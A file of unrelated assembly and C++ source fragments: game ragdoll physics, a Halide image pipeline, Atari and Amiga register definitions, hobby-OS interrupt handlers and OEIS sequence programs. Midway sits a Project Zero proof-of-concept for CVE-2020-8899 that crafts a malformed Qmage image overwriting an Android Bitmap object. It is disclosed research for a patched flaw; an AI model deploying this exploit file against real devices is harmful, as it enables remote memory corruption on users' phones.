); Fvector dp, start;start.set( m_EntityAlife.Position( ) ); if( !m_PhysicMovementControl->CharacterExist( ) ) dp.set( m_EntityAlife.Position( ) ); else m_PhysicMovementControl->GetDeathPosition( dp ); m_PhysicMovementControl->DestroyCharacter( ); CollisionCorrectObjPos( dp ); //shell create R_ASSERT2(m_physics_skeleton,"No skeleton created!!"); m_pPhysicsShell=m_physics_skeleton; m_physics_skeleton=NULL; m_pPhysicsShell->set_Kinematics(K); m_pPhysicsShell->RunSimulation(); m_pPhysicsShell->mXFORM.set(mXFORM); m_pPhysicsShell->SetCallbacks(m_pPhysicsShell->GetBonesCallback()); // if(anim_mov_ctrl) //we do not whant to move by long animation in root BR.set_callback_overwrite(TRUE); //set shell params if(!smart_cast<CCustomZone*>(who)) { velocity.mul(1.25f*m_after_death_velocity_factor); } if(!DoCharacterShellCollide()) { m_pPhysicsShell->DisableCharacterCollision(); } m_pPhysicsShell->set_LinearVel(velocity); K->CalculateBones_Invalidate(); K->CalculateBones (); m_flags.set(fl_death_anim_on,FALSE); m_eState=esDead; m_flags.set(fl_skeleton_in_shell,TRUE); if (!Core.Features.test(xrCore::Feature::corpses_collision)) { m_pPhysicsShell->SetIgnoreDynamic(); //m_pPhysicsShell->SetPrefereExactIntegration(); //m_pPhysicsShell->SetRemoveCharacterCollLADisable(); } m_pPhysicsShell->SetIgnoreSmall(); //end seting params //fly back after correction FlyTo(Fvector().sub(start,m_EntityAlife.Position())); // //actualize m_pPhysicsShell->GetGlobalTransformDynamic(&mXFORM); // m_pPhysicsShell->add_ObjectContactCallback(OnCharacterContactInDeath); m_pPhysicsShell->set_CallbackData((void*)this); // if(anim_mov_ctrl && anim_mov_blend && anim_mov_blend->blend_state() != CBlend::eFREE_SLOT && anim_mov_blend->timeCurrent + Device.fTimeDelta*anim_mov_blend->speed < anim_mov_blend->timeTotal-SAMPLE_SPF-EPS)//. { const Fmatrix sv_xform = mXFORM; mXFORM.set( start_xform ); //anim_mov_blend->blendPower = 1; anim_mov_blend->timeCurrent += Device.fTimeDelta * anim_mov_blend->speed; m_pPhysicsShell->AnimToVelocityState( Device.fTimeDelta, 2 * default_l_limit, 10.f * default_w_limit ); mXFORM.set( sv_xform ); } } void CCharacterPhysicsSupport::in_ChangeVisual() { if(!m_physics_skeleton&&!m_pPhysicsShell) return; if(m_pPhysicsShell) { VERIFY(m_eType!=etStalker); if(m_physics_skeleton) { m_EntityAlife.processing_deactivate() ; m_physics_skeleton->Deactivate() ; xr_delete(m_physics_skeleton) ; } CreateSkeleton(m_physics_skeleton); if(m_pPhysicsShell) m_pPhysicsShell->Deactivate(); xr_delete(m_pPhysicsShell); ActivateShell(NULL); } IKinematicsAnimated* ka = smart_cast<IKinematicsAnimated*>(m_EntityAlife.Visual()); if (ka) { m_death_anims.setup(ka, m_EntityAlife.cNameSect().c_str(), pSettings); } if(m_ik_controller) { DestroyIKController(); CreateIKController(); } } bool CCharacterPhysicsSupport::CanRemoveObject() { if(m_eType==etActor) { return false; } else { return !m_EntityAlife.IsPlaying(); } } void CCharacterPhysicsSupport::PHGetLinearVell(Fvector &velocity) { if(m_pPhysicsShell&&m_pPhysicsShell->isActive()) { m_pPhysicsShell->get_LinearVel(velocity); } else movement()->GetCharacterVelocity(velocity); } void CCharacterPhysicsSupport::CreateIKController() { VERIFY(!m_ik_controller); m_ik_controller=xr_new<CIKLimbsController>(); m_ik_controller->Create(&m_EntityAlife); } void CCharacterPhysicsSupport::DestroyIKController() { if(!m_ik_controller)return; m_ik_controller->Destroy(&m_EntityAlife); xr_delete(m_ik_controller); } void CCharacterPhysicsSupport::in_NetRelcase(CObject* O) { CPHCapture* c=m_PhysicMovementControl->PHCapture(); if(c) { c->net_Relcase(O); } } void CCharacterPhysicsSupport::set_collision_hit_callback(ICollisionHitCallback* cc) { xr_delete(m_collision_hit_callback); m_collision_hit_callback = cc; } ICollisionHitCallback * CCharacterPhysicsSupport::get_collision_hit_callback() { return m_collision_hit_callback; } void StaticEnvironmentCB (bool& do_colide,bool bo1,dContact& c,SGameMtl* material_1,SGameMtl* material_2) { dJointID contact_joint = dJointCreateContact(0, ContactGroup, &c); if(bo1) { ((CPHIsland*)(retrieveGeomUserData(c.geom.g1)->callback_data))->DActiveIsland()->ConnectJoint(contact_joint); dJointAttach (contact_joint, dGeomGetBody(c.geom.g1), 0); } else { ((CPHIsland*)(retrieveGeomUserData(c.geom.g2)->callback_data))->DActiveIsland()->ConnectJoint(contact_joint); dJointAttach (contact_joint, 0, dGeomGetBody(c.geom.g2)); } do_colide=false; } void CCharacterPhysicsSupport::FlyTo(const Fvector &disp) { VERIFY(m_pPhysicsShell); float ammount=disp.magnitude(); if(fis_zero(ammount,EPS_L)) return; ph_world->Freeze(); bool g=m_pPhysicsShell->get_ApplyByGravity(); m_pPhysicsShell->set_ApplyByGravity(false); m_pPhysicsShell->add_ObjectContactCallback(StaticEnvironmentCB); void* cd=m_pPhysicsShell->get_CallbackData(); m_pPhysicsShell->set_CallbackData(m_pPhysicsShell->PIsland()); m_pPhysicsShell->UnFreeze(); Fvector vel;vel.set(disp); const u16 steps_num=10; const float fsteps_num=steps_num; vel.mul(1.f/fsteps_num/fixed_step); for(u16 i=0;steps_num>i;++i) { m_pPhysicsShell->set_LinearVel(vel); ph_world->Step(); } //u16 step_num=disp.magnitude()/fixed_step; m_pPhysicsShell->set_ApplyByGravity(g); m_pPhysicsShell->set_CallbackData(cd); m_pPhysicsShell->remove_ObjectContactCallback(StaticEnvironmentCB); ph_world->UnFreeze(); } void CCharacterPhysicsSupport::TestForWounded() { m_was_wounded=false; if (!character_have_wounded_state) { return; } IKinematics* CKA=smart_cast<IKinematics*>(m_EntityAlife.Visual()); CKA->CalculateBones(); CBoneInstance CBI=CKA->LL_GetBoneInstance(0); Fmatrix position_matrix; position_matrix.mul(mXFORM,CBI.mTransform); xrXRC xrc; xrc.ray_options (0); xrc.ray_query(Level().ObjectSpace.GetStaticModel(),position_matrix.c,Fvector().set(0.0f,-1.0f,0.0f),pelvis_factor_low_pose_detect); if (xrc.r_count()) { m_was_wounded=true; } }; void CCharacterPhysicsSupport::UpdateFrictionAndJointResistanse() { //Преобразование skel_ddelay из кадров в секунды и линейное нарастание сопротивления в джоинтах со временем от момента смерти if(skel_remain_time!=0) { skel_remain_time-=m_time_delta; }; if (skel_remain_time<0) { skel_remain_time=0; }; float curr_joint_resistance=hinge_force_factor1- (skel_remain_time*hinge_force_factor1)/skel_ddelay; m_pPhysicsShell->set_JointResistance(curr_joint_resistance); if(skeleton_skin_remain_time!=0) { skeleton_skin_remain_time-=m_time_delta; } if (skeleton_skin_remain_time<0) { skeleton_skin_remain_time=0; } if(skeleton_skin_remain_time_after_wound!=0) { skeleton_skin_remain_time_after_wound-=m_time_delta; }; if (skeleton_skin_remain_time_after_wound<0) { skeleton_skin_remain_time_after_wound=0; }; float ddelay,remain; if (m_was_wounded) { ddelay=skeleton_skin_ddelay_after_wound; remain=skeleton_skin_remain_time_after_wound; } else { ddelay=skeleton_skin_ddelay; remain=skeleton_skin_remain_time; } m_curr_skin_friction_in_death=skeleton_skin_friction_end+ (remain/ddelay)*(skeleton_skin_friction_start-skeleton_skin_friction_end); }; void CCharacterPhysicsSupport::CalculateTimeDelta() { if (m_Pred_Time==0.0) { m_time_delta=0; } else { m_time_delta=Device.fTimeGlobal-m_Pred_Time; } m_Pred_Time=Device.fTimeGlobal; }; void CCharacterPhysicsSupport::on_create_anim_mov_ctrl () { VERIFY( !anim_mov_state.active ); anim_mov_state.character_exist = m_PhysicMovementControl->CharacterExist(); if(anim_mov_state.character_exist) m_PhysicMovementControl->DestroyCharacter(); anim_mov_state.active = true; } void CCharacterPhysicsSupport::on_destroy_anim_mov_ctrl () { VERIFY( anim_mov_state.active ); if( anim_mov_state.character_exist ) CreateCharacter(); anim_mov_state.active = false; } void CCharacterPhysicsSupport::SyncNetState() { CPHSkeleton::SyncNetState(); }
#include "Halide.h" using namespace Halide; // Generate a pipeline that reads 4-channel data via DMA, scales it by // 2, and (optionally) writes it back via DMA. class DmaPipeline : public Generator<DmaPipeline> { public: Input<Buffer<uint8_t, 3>> input{"input"}; Output<Buffer<uint8_t, 3>> output{"output"}; enum class Schedule { Basic, Fold, Async, Split, Split_Async }; GeneratorParam<Schedule> schedule{"schedule", /* default value */ Schedule::Basic, /* map from names to values */ {{"none", Schedule::Basic}, {"fold", Schedule::Fold}, {"async", Schedule::Async}, {"split", Schedule::Split}, {"split_async", Schedule::Split_Async}}}; GeneratorParam<bool> use_dma_for_output{"use_dma_for_output", true}; void generate() { Var x{"x"}, y{"y"}, c{"c"}; // We need a wrapper for the output so we can schedule the // multiply update in tiles. Func input_copy("input_copy"); Func work("work"); input_copy(x, y, c) = input(x, y, c); work(x, y, c) = input_copy(x, y, c) * 2; output(x, y, c) = work(x, y, c); Var tx("tx"), ty("ty"); // Do some common scheduling here. if (use_dma_for_output) { output.copy_to_device(); } output .compute_root() .bound(c, 0, 4) .reorder(c, x, y); input.dim(0).set_stride(4); output.dim(0).set_stride(4); // Break the output into tiles. const int bytes_per_pixel = std::max(input.type().bytes(), output.type().bytes()); const int tile_width = 128 / bytes_per_pixel; const int tile_height = 32; switch ((Schedule)schedule) { case Schedule::Basic: default: output .tile(x, y, tx, ty, x, y, tile_width, tile_height, TailStrategy::RoundUp); input_copy .compute_at(output, tx) .copy_to_host() .reorder_storage(c, x, y); break; case Schedule::Fold: output .tile(x, y, tx, ty, x, y, tile_width, tile_height, TailStrategy::RoundUp); input_copy .copy_to_host() .compute_at(output, tx) .store_at(output, ty) .reorder_storage(c, x, y) .fold_storage(x, tile_width * 2); break; case Schedule::Async: output .tile(x, y, tx, ty, x, y, tile_width, tile_height, TailStrategy::RoundUp); input_copy .copy_to_host() .async() .compute_at(output, tx) .store_at(output, ty) .reorder_storage(c, x, y) .fold_storage(x, tile_width * 2); break; case Schedule::Split: { Var yo, yi; Expr fac = output.dim(1).extent() / 2; output .split(y, yo, yi, fac) .tile(x, yi, tx, ty, x, y, tile_width, tile_height, TailStrategy::RoundUp) .parallel(yo); input_copy .copy_to_host() .compute_at(output, tx) .reorder_storage(c, x, y); } break; case Schedule::Split_Async: { Var yo, yi; Expr fac = output.dim(1).extent() / 2; output .split(y, yo, yi, fac) .tile(x, yi, tx, ty, x, y, tile_width, tile_height, TailStrategy::RoundUp) .parallel(yo); input_copy .copy_to_host() .compute_at(output, tx) .store_at(output, ty) .async() .reorder_storage(c, x, y) .fold_storage(x, tile_width * 2); } break; } // async tiled output if (use_dma_for_output && ((Schedule)schedule == Schedule::Async || (Schedule)schedule == Schedule::Split_Async)) { work .async() .store_at(output, ty) .fold_storage(x, tile_width * 2); } // Schedule the work in tiles (same for all DMA schedules). work .compute_at(output, tx) .bound(c, 0, 4) .reorder_storage(c, x, y); } }; HALIDE_REGISTER_GENERATOR(DmaPipeline, pipeline_raw_linear_interleaved_basic)
; Hello World Program (Getting input) ; Compile with: nasm -f elf helloworld-input.asm ; Link with (64 bit systems require elf_i386 option): ld -m elf_i386 helloworld-input.o -o helloworld-input ; Run with: ./helloworld-input %include 'functions.asm' SECTION .data msg1 db 'Please enter your name: ', 0h ; message string asking user for input msg2 db 'Hello, ', 0h ; message string to use after user has entered their name SECTION .bss sinput: resb 255 ; reserve a 255 byte space in memory for the users input string SECTION .text global _start _start: mov eax, msg1 call sprint mov edx, 255 ; number of bytes to read mov ecx, sinput ; reserved space to store our input (known as a buffer) mov ebx, 0 ; write to the STDIN file mov eax, 3 ; invoke SYS_READ (kernel opcode 3) int 80h mov eax, msg2 call sprint mov eax, sinput ; move our buffer into eax (Note: input contains a linefeed) call sprint ; call our print function call quit
; ╔═════════════════════════════════════════════════════════════════════════════════════╗ ; ║ TIA_BASE_ADDRESS ║ ; ╠═════════════════════════════════════════════════════════════════════════════════════╣ ; ║ The TIA_BASE_ADDRESS defines the base address of access to TIA registers. ║ ; ║ Normally 0, the base address should (externally, before including this file) ║ ; ╚═════════════════════════════╗ be set to $40 when creating 3F-bankswitched (and ║ ifnconst TIA_BASE_ADDRESS ; ║ other?) cartridges. The reason is that this ║ TIA_BASE_ADDRESS = 0 ; ║ bankswitching scheme treats any access to ║ endif ; ║ locations < $40 as a bankswitch. ║ ; ╔═════════════════════════════╩═══════════════════════════════════════════════════════╣ ; ║ Note: The address may be defined on the command-line using the -D switch, eg: ║ ; ║ dasm.exe code.asm -DTIA_BASE_ADDRESS=$40 -f3 -v5 -ocode.bin ║ ; ║ *OR* by declaring the label before including this file, eg: ║ ; ║ TIA_BASE_ADDRESS = $40 ║ ; ║ include "TIA.asm" ║ ; ╠═════════════════════════════════════════════════════════════════════════════════════╣ ; ║ Alternate read/write address capability - allows for some disassembly compatibility ║ ; ║ to allow reassembly to binary perfect copies). This is essentially catering for ║ ; ║ the mirrored ROM hardware registers. ║ ; ╚═════════════════════════════════════════╦═══════════════════════════════════════════╣ ifnconst TIA_BASE_READ_ADDRESS ; ║ Usage: As per above, define the ║ TIA_BASE_READ_ADDRESS = TIA_BASE_ADDRESS ; ║ TIA_BASE_READ_ADDRESS and/or ║ endif ; ║ TIA_BASE_WRITE_ADDRESS using the ║ ; ║ -D command-line switch, as ║ ifnconst TIA_BASE_WRITE_ADDRESS ; ║ required. If the addresses are ║ TIA_BASE_WRITE_ADDRESS = TIA_BASE_ADDRESS ; ║ not defined, they default to the ║ endif ; ║ TIA_BASE_ADDRESS. ║ ; ╚═══════════════════════════════════════════╝ ; ╔═════════════════════════════════════════════════════════════════════════════════════╗ ; ║ TIA MEMORY MAP ║ ; ╚═══════════════════════════════╦═════════════════════════════════════════════════════╣ seg.u TIA_REGISTERS_WRITE ; ║ Segment for TIA Writes, shares address space with ║ rorg TIA_BASE_WRITE_ADDRESS ; ║ the segment for TIA Reads. ║ ; ╔═════╦═════╩═════╦═══════════════════════════════════════════════╣ VSYNC .byte ; ║ $00 ║ 0000 00x0 ║ Vertical Sync Set-Clear ║ VBLANK .byte ; ║ $01 ║ xx00 00x0 ║ Vertical Blank Set-Clear ║ WSYNC .byte ; ║ $02 ║ ---- ---- ║ Wait for Horizontal Blank ║ RSYNC .byte ; ║ $03 ║ ---- ---- ║ Reset Horizontal Sync Counter ║ NUSIZ0 .byte ; ║ $04 ║ 00xx 0xxx ║ Number-Size player/missle 0 ║ NUSIZ1 .byte ; ║ $05 ║ 00xx 0xxx ║ Number-Size player/missle 1 ║ COLUP0 .byte ; ║ $06 ║ xxxx xxx0 ║ Color-Luminance Player 0 ║ COLUP1 .byte ; ║ $07 ║ xxxx xxx0 ║ Color-Luminance Player 1 ║ COLUPF .byte ; ║ $08 ║ xxxx xxx0 ║ Color-Luminance Playfield ║ COLUBK .byte ; ║ $09 ║ xxxx xxx0 ║ Color-Luminance Background ║ CTRLPF .byte ; ║ $0a ║ 00xx 0xxx ║ Control Playfield, Ball, Collisions ║ REFP0 .byte ; ║ $0b ║ 0000 x000 ║ Reflection Player 0 ║ REFP1 .byte ; ║ $0c ║ 0000 x000 ║ Reflection Player 1 ║ PF0 .byte ; ║ $0d ║ xxxx 0000 ║ Playfield Register Byte 0 ║ PF1 .byte ; ║ $0e ║ xxxx xxxx ║ Playfield Register Byte 1 ║ PF2 .byte ; ║ $0f ║ xxxx xxxx ║ Playfield Register Byte 2 ║ RESP0 .byte ; ║ $10 ║ ---- ---- ║ Reset Player 0 ║ RESP1 .byte ; ║ $11 ║ ---- ---- ║ Reset Player 1 ║ RESM0 .byte ; ║ $12 ║ ---- ---- ║ Reset Missle 0 ║ RESM1 .byte ; ║ $13 ║ ---- ---- ║ Reset Missle 1 ║ RESBL .byte ; ║ $14 ║ ---- ---- ║ Reset Ball ║ AUDC0 .byte ; ║ $15 ║ 0000 xxxx ║ Audio Control 0 ║ AUDC1 .byte ; ║ $16 ║ 0000 xxxx ║ Audio Control 1 ║ AUDF0 .byte ; ║ $17 ║ 000x xxxx ║ Audio Frequency 0 ║ AUDF1 .byte ; ║ $18 ║ 000x xxxx ║ Audio Frequency 1 ║ AUDV0 .byte ; ║ $19 ║ 0000 xxxx ║ Audio Volume 0 ║ AUDV1 .byte ; ║ $1a ║ 0000 xxxx ║ Audio Volume 1 ║ GRP0 .byte ; ║ $1b ║ xxxx xxxx ║ Graphics Register Player 0 ║ GRP1 .byte ; ║ $1c ║ xxxx xxxx ║ Graphics Register Player 1 ║ ENAM0 .byte ; ║ $1d ║ 0000 00x0 ║ Graphics Enable Missle 0 ║ ENAM1 .byte ; ║ $1e ║ 0000 00x0 ║ Graphics Enable Missle 1 ║ ENABL .byte ; ║ $1f ║ 0000 00x0 ║ Graphics Enable Ball ║ HMP0 .byte ; ║ $20 ║ xxxx 0000 ║ Horizontal Motion Player 0 ║ HMP1 .byte ; ║ $21 ║ xxxx 0000 ║ Horizontal Motion Player 1 ║ HMM0 .byte ; ║ $22 ║ xxxx 0000 ║ Horizontal Motion Missle 0 ║ HMM1 .byte ; ║ $23 ║ xxxx 0000 ║ Horizontal Motion Missle 1 ║ HMBL .byte ; ║ $24 ║ xxxx 0000 ║ Horizontal Motion Ball ║ VDELP0 .byte ; ║ $25 ║ 0000 000x ║ Vertical Delay Player 0 ║ VDELP1 .byte ; ║ $26 ║ 0000 000x ║ Vertical Delay Player 1 ║ VDELBL .byte ; ║ $27 ║ 0000 000x ║ Vertical Delay Ball ║ RESMP0 .byte ; ║ $28 ║ 0000 00x0 ║ Reset Missle 0 to Player 0 ║ RESMP1 .byte ; ║ $29 ║ 0000 00x0 ║ Reset Missle 1 to Player 1 ║ HMOVE .byte ; ║ $2a ║ ---- ---- ║ Apply Horizontal Motion ║ HMCLR .byte ; ║ $2b ║ ---- ---- ║ Clear Horizontal Move Registers ║ CXCLR .byte ; ║ $2c ║ ---- ---- ║ Clear Collision Latches ║ ; ╚═════╩════╦══════╩═══════════════════════════════════════════════╣ seg.u TIA_REGISTERS_READ ; ║ Segment for TIA Writes, shares address space with ║ rorg TIA_BASE_READ_ADDRESS ; ║ the segment for TIA Reads. ╔═══════╦═════════════════╣ ; ╚════════════════════════════╝ ║ bit 7 bit 6 ║ ; ╔═════╦═══════════╦═════════════════════════════╬═════════════════╣ CXM0P .byte ; ║ $00 ║ xx00 0000 ║ Read Collision ║ M0-P1 M0-P0 ║ CXM1P .byte ; ║ $01 ║ xx00 0000 ║ Read Collision ║ M1-P0 M1-P1 ║ CXP0FB .byte ; ║ $02 ║ xx00 0000 ║ Read Collision ║ P0-PF P0-BL ║ CXP1FB .byte ; ║ $03 ║ xx00 0000 ║ Read Collision ║ P1-PF P1-BL ║ CXM0FB .byte ; ║ $04 ║ xx00 0000 ║ Read Collision ║ M0-PF M0-BL ║ CXM1FB .byte ; ║ $05 ║ xx00 0000 ║ Read Collision ║ M1-PF M1-BL ║ CXBLPF .byte ; ║ $06 ║ x000 0000 ║ Read Collision ║ BL-PF ----- ║ CXPPMM .byte ; ║ $07 ║ xx00 0000 ║ Read Collision ║ P0-P1 M0-M1 ║ INPT0 .byte ; ║ $08 ║ x000 0000 ║ Read Pot Port 0 ╚═════════════════╣ INPT1 .byte ; ║ $09 ║ x000 0000 ║ Read Pot Port 1 ║ INPT2 .byte ; ║ $0a ║ x000 0000 ║ Read Pot Port 2 ║ INPT3 .byte ; ║ $0b ║ x000 0000 ║ Read Pot Port 3 ║ INPT4 .byte ; ║ $0c ║ x000 0000 ║ Read Input (Trigger) 0 ║ INPT5 .byte ; ║ $0d ║ x000 0000 ║ Read Input (Trigger) 1 ║ ; ╚═════╩═══════════╩═══════════════════════════════════════════════╝
.proc loader disableOS sei lda #0 sta nmien lda portb ldy #%11111110 sty portb and #%11111110 sta portb rts enableOS lda portb ldy #%11111111 sty portb ora #%00000001 sta portb lda #%11000000 sta nmien cli rts .endp
GLOBAL _cli GLOBAL _sti GLOBAL picMasterMask GLOBAL picSlaveMask GLOBAL haltcpu GLOBAL _hlt GLOBAL halt GLOBAL _irq00Handler GLOBAL _irq01Handler GLOBAL _irq02Handler GLOBAL _irq03Handler GLOBAL _irq04Handler GLOBAL _irq05Handler GLOBAL _sirqHandler GLOBAL _exception00Handler GLOBAL _exception06Handler EXTERN irqDispatcher EXTERN handleSyscall EXTERN exceptionDispatcher EXTERN schedule SECTION .text %macro pushStateSome 0 push rbx push rcx push rbp push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 %endmacro %macro popStateSome 0 pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rbp pop rcx pop rbx %endmacro %macro pushStateAll 0 push rax push rbx push rcx push rdx push rbp push rdi push rsi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 %endmacro %macro popStateAll 0 pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rsi pop rdi pop rbp pop rdx pop rcx pop rbx pop rax %endmacro %macro irqHandlerMaster 1 pushStateAll mov rdi, %1 ; pasaje de parametro call irqDispatcher ; signal pic EOI (End of Interrupt) mov al, 20h out 20h, al popStateAll iretq %endmacro %macro sirqHandlerMaster 0 pushStateSome ; Todos los registros menos los utilizados por syscalls call sirqDispatcher popStateSome iretq %endmacro %macro exceptionHandler 1 pushStateAll mov rdi, %1 ; pasaje de parametro call exceptionDispatcher popStateAll iretq %endmacro _hlt: sti hlt ret halt: hlt ret _cli: cli ret _sti: sti ret picMasterMask: push rbp mov rbp, rsp mov ax, di out 21h,al pop rbp retn picSlaveMask: push rbp mov rbp, rsp mov ax, di ; ax = mascara de 16 bits out 0A1h,al pop rbp retn ;8254 Timer (Timer Tick) _irq00Handler: pushStateAll mov rdi, 0 ; pasaje de parametro call irqDispatcher ; signal pic EOI (End of Interrupt) mov al, 20h out 20h, al popStateAll pushaq mov rdi, rsp call schedule mov rsp, rax popaq iretq ;Keyboard _irq01Handler: irqHandlerMaster 1 ;Cascade pic never called _irq02Handler: irqHandlerMaster 2 ;Serial Port 2 and 4 _irq03Handler: irqHandlerMaster 3 ;Serial Port 1 and 3 _irq04Handler: irqHandlerMaster 4 ;USB _irq05Handler: irqHandlerMaster 5 ;Syscall _sirqHandler: call handleSyscall iretq ;Zero Division Exception _exception00Handler: exceptionHandler 0 ;Invalid Opcode Exception _exception06Handler: exceptionHandler 6 haltcpu: cli hlt ret SECTION .bss aux resq 1
; A122573: Expansion of x*(1 + x)*(1 - 3*x^2)/(1 - 4*x^2 + x^4). ; 1,1,1,1,3,3,11,11,41,41,153,153,571,571,2131,2131,7953,7953,29681,29681,110771,110771,413403,413403,1542841,1542841,5757961,5757961,21489003,21489003,80198051,80198051,299303201,299303201,1117014753 div $0,2 seq $0,1835 ; a(n) = 4*a(n-1) - a(n-2), with a(0) = 1, a(1) = 1.
; ; Samsung Qmage codec exploit proof-of-concept for remotely probing a specific ; range of virtual addresses in the Samsung Messages address space. ; ; Author: Mateusz Jurczyk, Google Project Zero ; Date: August 2020 ; Bug: CVE-2020-8899 (crash e418c0496cb1babf0eba13026f4d1504) ; Fixed: Samsung May 2020 Security Bulletin (SVE-2020-16747) ; _QMG_HEADER: db 'QG' ; Signature db 0x01, 0x02, 0x01 ; Version 1.2.1 (equivalent to 2.0) db 0x30 ; Flags: PREMULTIPLIED | INDEXED_COLOR db 0x64 ; Quality: 100 (best) dw 0x0004 ; Width: 4 dw 0x000A ; Height: 10 db 0x00 ; Extra header length: 0 _COLOR_TABLE_HEADER: db 0xFF ; Number of colors: 255 (256 expected by the codec) dw 0x0011 ; Length of the compressed color table: 17 _COMPRESSED_COLOR_TABLE: ; Zlib compressed stream of 1024 'A's, which makes up the color table ; consisting of 256 32-bpp entries. db 0x78, 0x9c, 0x73, 0x74, 0x1c, 0x05, 0xa3, 0x60, 0x14, 0x8c, 0x54, 0x00 db 0x00, 0xa4, 0x78, 0x04, 0x10 _DATA_STREAM_START: ; Required marker bytes. db 0xFF, 0x00 ; Compression type: Run Length Encoding db 0x06 _RLE_STREAM_START: ; Length of the overall RLE stream in bytes (excluding this DWORD). dd (_RLE_STREAM_END - _RLE_STREAM_START - 4) ; Number of different, subsequent bytes written to the output buffer during ; decompression, which is somewhere between 160 and 320 in our case, depending ; on how many bytes of the adjacent object we wish to overwrite. dd (_RLE_DATA_END - _RLE_DATA_START) _RLE_DATA_START: ; Padding for the legitimate pixel storage buffer. times 160 db 0xcc ; ============================================================================ ; Start of the overwritten android::Bitmap object ; ============================================================================ ; class ANDROID_API Bitmap : public SkPixelRef { dq 0x4141414141414141 ; /* +0x00 */ void *vtable; ; class SK_API SkRefCntBase { dd 0x41414141 ; /* +0x08 */ mutable std::atomic<int32_t> fRefCnt; ; } ; class SK_API SkPixelRef : public SkRefCnt { dd 1 ; /* +0x0C */ int fWidth; dd 1 ; /* +0x10 */ int fHeight; dd 0x41414141 ; /* +0x14 */ <padding> dq 0xdddddddddddddddd ; /* +0x18 */ void* fPixels; dq 0x1000 ; /* +0x20 */ size_t fRowBytes; dd 0x41414141 ; /* +0x28 */ mutable std::atomic<uint32_t> fTaggedGenID; dd 0x41414141 ; /* +0x2c */ <padding> ; SkIDChangeListener::List fGenIDChangeListeners { ; SkMutex fMutex { dd 0x41414141 ; /* +0x30 */ std::atomic<int> fCount; db 0x41 ; /* +0x34 */ SkOnce fOSSemaphoreOnce; times 3 db 0x41 ; /* +0x35 */ <padding> dq 0x4141414141414141 ; /* +0x38 */ OSSemaphore* fOSSemaphore; ; } ; SkTDArray<SkIDChangeListener*> fListeners { dq 0x4141414141414141 ; /* +0x40 */ SkIDChangeListener* fArray; dd 0x41414141 ; /* +0x48 */ int fReserve; dd 0x41414141 ; /* +0x4C */ int fCount; ; } ; } db 0x41 ; /* +0x50 */ std::atomic<bool> fAddedToCache; db 0x41 ; /* +0x51 */ enum Mutability { ; /* +0x51 */ kMutable, ; /* +0x51 */ kTemporarilyImmutable, ; /* +0x51 */ kImmutable, ; /* +0x51 */ } fMutability : 8; times 6 db 0x41 ; /* +0x52 */ <padding> ; SkImageInfo mInfo { dq 0x0 ; /* +0x58 */ sk_sp<SkColorSpace> fColorSpace; dd 0x1 ; /* +0x60 */ int fWidth; dd 0x1 ; /* +0x64 */ int fHeight; dd 0x6 ; /* +0x68 */ SkColorType fColorType; dd 0x41414141 ; /* +0x6C */ SkAlphaType fAlphaType; ; } dd 0x41414141 ; /* +0x70 */ const PixelStorageType mPixelStorageType; dd 0x41414141 ; /* +0x74 */ BitmapPalette mPalette; dd 0x41414141 ; /* +0x78 */ uint32_t mPaletteGenerationId; db 0x41 ; /* +0x7C */ bool mHasHardwareMipMap; times 3 db 0x41 ; /* +0x7D */ <padding> ; union { ; struct { dq 0x4141414141414141 ; /* +0x80 */ void* address; dq 0x4141414141414141 ; /* +0x88 */ void* context; dq 0x4141414141414141 ; /* +0x90 */ FreeFunc freeFunc; ; } external; ; struct { ; /* +0x80 */ void* address; ; /* +0x88 */ int fd; ; /* +0x90 */ size_t size; ; } ashmem; ; struct { ; /* +0x80 */ void* address; ; /* +0x88 */ size_t size; ; } heap; ; struct { ; /* +0x80 */ GraphicBuffer* buffer; ; } hardware; ; } mPixelStorage; dq 0x0 ; /* +0x98 */ sk_sp<SkImage> mImage; ;} _RLE_DATA_END: _RLE_LENGTHS_START: ; An encoded 0xAA byte denotes four single-byte runs in the stream. times ((_RLE_DATA_END - _RLE_DATA_START) / 4) db 0xAA _RLE_LENGTHS_END: _RLE_STREAM_END: ; Trailing marker found in valid QG files. db 0xFF, 0x00
; A213244: Number of nonzero elements in GF(2^n) that are 5th powers. ; 1,3,7,3,31,63,127,51,511,1023,2047,819,8191,16383,32767,13107,131071,262143,524287,209715,2097151,4194303,8388607,3355443,33554431,67108863,134217727,53687091,536870911,1073741823,2147483647,858993459,8589934591,17179869183,34359738367,13743895347,137438953471,274877906943,549755813887,219902325555,2199023255551,4398046511103,8796093022207,3518437208883,35184372088831,70368744177663,140737488355327,56294995342131,562949953421311,1125899906842623,2251799813685247,900719925474099,9007199254740991 mov $3,2 lpb $0 sub $0,1 mul $3,2 lpe add $0,$3 sub $0,1 add $0,$3 sub $0,$3 sub $2,5 gcd $2,$0 div $0,$2 mov $1,$0 div $1,2 mul $1,2 add $1,1
; A321207: a(n) = (n*n!)^3. ; 1,64,5832,884736,216000000,80621568000,43912253952000,33560740233216000,34835065137266688000,47784725839872000000000,84653556693609480192000000,189912972073787235237888000000,530482432188949589775089664000000 add $0,1 mov $1,$0 lpb $1 mul $0,$1 sub $1,1 lpe pow $0,3
include exec/funcdef.i include exec/types.i include "exec/lists.i" include "exec/nodes.i" include exec/exec_lib.i include ox.i include ox_lib.i include easy.i include graphics/regions.i include graphics/graphics_lib.i include intuition/intuition_lib.i include devices/inputevent.i include "utility/tagitem.i" ;-------------------------------------------------------------------- ; OX_NEWLIST ; bugs ; - (?) list gets intuimessage twice if it is active and returns "unused" (?) ; this might be rather a concept problem: if ichbindran returns unused, ; the message is sent on the normal path ; - minwidth ist um die sliderbreite groeßer als minwdith! ; concept ideen ; - oxNLA_autowidth um die spaltenbreite an den längsten itemtext anzupassen ; - oxNLA_minwidth1 bis 8, oxNLA_widthfixed1 bis 8 ; - oxNLA_centertitles include oxclass_newlist.i TRUE = 1 FALSE = 0 STRUCTURE oxNewList,oxO_SIZEOF UWORD oxNL_minwidth ; incl slider and all borders UWORD oxNL_minheight ; ... UWORD oxNL_left UWORD oxNL_top UWORD oxNL_width UWORD oxNL_height UWORD oxNL_propw UWORD oxNL_proph STRUCT oxNL_titles,4*8 STRUCT oxNL_titlelenghts,2*8 UWORD oxNL_sliderwidth UWORD oxNL_separatorwidth UWORD oxNL_sepyoffset ; start drawing separator line at top + this UWORD oxNL_sepystart ; = this UWORD oxNL_sepyend UWORD oxNL_vertbortop ; add this to top to get 